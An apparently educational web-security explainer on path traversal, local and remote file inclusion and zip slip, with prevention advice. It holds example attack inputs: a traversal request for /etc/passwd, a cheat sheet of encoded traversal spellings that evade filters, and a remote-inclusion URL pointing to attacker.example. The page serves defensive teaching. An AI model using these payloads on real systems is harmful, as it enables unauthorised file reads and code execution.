Path traversal: reading files the application never meant to serve

Path traversal, also called directory traversal, is an attack in which input that names a file includes sequences that step out of the intended folder, so the application reads or writes a file somewhere else on the server. File inclusion is its more dangerous relative: the application does not just read the file but loads it as code, from the local disk or from a remote address.

Section Web attacks Updated Weakness CWE-22

Quick facts

Also called
Directory traversal, dot-dot-slash attack
Weakness
CWE-22: improper limitation of a pathname to a restricted directory
OWASP category
A01:2025 Broken Access Control; file inclusion (CWE-98) maps to A05 Injection
Main fix
Never build file paths from input; map identifiers to files the application chooses
Does a WAF stop it?
Mostly. Traversal sequences in parameters are recognisable, including common encodings

Definitions follow OWASP and CWE-22.

How a path traversal attack works

An application serves a file named in the request: a download, an image, a template, a language file. It joins a base folder with the name from the request and opens the result.

If the name contains parent-folder sequences, the joined path climbs out of the base folder. Enough of them reach the root of the file system, from where any readable file can be named: configuration with database passwords, keys, source code. Encoding the sequences in different ways is how attackers get past naive checks.

A path traversal vulnerability exists wherever the code trusts the file name it is given. A normal request is GET /download?file=report.pdf. The attacker sends GET /download?file=../../../../etc/passwd instead, and if nothing checks where the joined path ends up, the server may return that file. OWASP uses the same target in its example. Requesting paths that were never linked is a different problem: forced browsing.

Why simple filters fail: encodings and variants

A check that looks for ../ in the input misses the many other ways to write it. URL encoding turns it into %2e%2e%2f, double encoding into %252e%252e%252f, which becomes the dangerous form only after a second decoding step. Windows also accepts ..\, and some code strips ../ once, so ....// turns back into ../ after stripping.

This is why the fix described for CWE-22 is not a better blocklist. Resolve the final path, after all decoding, and check that it still lies inside the allowed folder; or avoid paths from input altogether and map identifiers to files on the server.

Path traversal cheat sheet: one separator, several spellings

This directory traversal cheat sheet lists the spellings that get past the checks above. The defence against all of them is the same.

Spellings of one parent-folder step
FormWritten asWhy it passes a naive check
Plain../Only a check for this exact text catches it
Windows..\A check for forward slashes alone misses it
URL-encoded%2e%2e%2fA check that runs before decoding does not see ../
Double-encoded%252e%252e%252fBecomes ../ only after a second decoding step
Nested....//Stripping ../ once leaves ../ behind

Local and remote file inclusion

Some applications load a file named in the request as code, for example a page template chosen by a parameter. With traversal, that becomes local file inclusion: the attacker makes the application run a file already on the server, such as a log file they managed to write into.

A local file inclusion vulnerability (also written local file include vulnerability) appears when a parameter such as ?page= selects the file the application loads and the value is not limited to a fixed list. The class has a page of its own: local file inclusion and remote file inclusion.

Remote file inclusion goes further. If the application accepts a full address and its runtime allows loading code over the network, the attacker names a file on their own server, and the application runs it. That is remote code execution, described on command injection.

Take a remote file inclusion example in PHP. The code passes $_GET['page'] to include, and the request carries ?page=http://attacker.example/x.txt. It works only if the runtime may load code from a URL, which PHP controls with the allow_url_include setting. CWE-98 titles this case PHP Remote File Inclusion.

TRAVERSAL AND INCLUSION COMPARED READS FILES IT SHOULD NOT RUNS CODE NEEDS A NETWORK FETCH PATH TRAVERSAL LOCAL FILE INCLUSION REMOTE FILE INCLUSION // the further down, the closer to code execution
// three attacks on file names, ordered by damage

Where path traversal hides

The obvious place is a download link that names a file. Less obvious ones include image resizers that take a path, language or theme selectors that load a file by name, report generators that read templates, and archive extraction, where file names inside an uploaded archive contain parent-folder sequences and are written outside the target folder.

Any feature that turns a value from outside into a file path deserves the same review. Values from cookies, headers and stored data count as outside too. The same habit of trusting input shows up in the browser, where the value is placed in a page instead of a path; the xss meaning page covers that case.

Zip slip: traversal inside archives

Archives store a name for every file, and that name can contain parent-folder sequences. Code that extracts an uploaded archive by joining each stored name to a target folder will write files outside it: over a configuration file, into a folder of scripts the server runs (where a planted web shell would then run), or anywhere the process can write. The attack is commonly called zip slip, and it affects other archive formats too. Uploads carry a related risk; see file upload vulnerability.

Nothing in the upload request looks unusual, since the dangerous names are inside a compressed file, so request filters do not see it. The defence is in the extraction code: resolve each entry's target path and refuse any entry that would land outside the destination folder.

What a WAF catches, and what it misses

Parent-folder sequences, absolute paths and well-known sensitive file names in a parameter are some of the most recognisable patterns there are, and rule sets match them in many encodings. Flaws that pass every filter because each request is valid are covered under business logic flaws.

A filter misses traversal through values it does not inspect, such as names inside uploaded archives, and paths built from several parameters joined later. It also leaves the file handling unchanged, so a new encoding may still work. The spellings in the cheat sheet above are what rules match; the canonical-path check stays in the code.

How to prevent path traversal

  1. Do not use input as a path. Map an identifier from the request to a file name the application keeps in a list or database.
  2. If you must, validate strictly. Allow only expected characters and refuse anything else, as the OWASP Input Validation Cheat Sheet describes.
  3. Resolve, then check. Turn the path into its canonical form and confirm it is still inside the base folder before opening it.
  4. Never load code by name from input. Choose templates and modules from a fixed list.
  5. Run with least privilege. A process that cannot read secrets cannot leak them through traversal.

Questions

What is path traversal?

Path traversal, or directory traversal, is an attack in which input naming a file includes parent-folder sequences so the application reads or writes a file outside the folder it intended.

What is the difference between path traversal and file inclusion?

Path traversal reads or writes files outside the intended folder. File inclusion loads a file as code, from the server (local) or from another address (remote), which can lead to code execution.

How do you prevent directory traversal?

Do not build paths from input; map identifiers to files the application chooses, validate strictly when input must be used, and check the canonical path stays inside the base folder.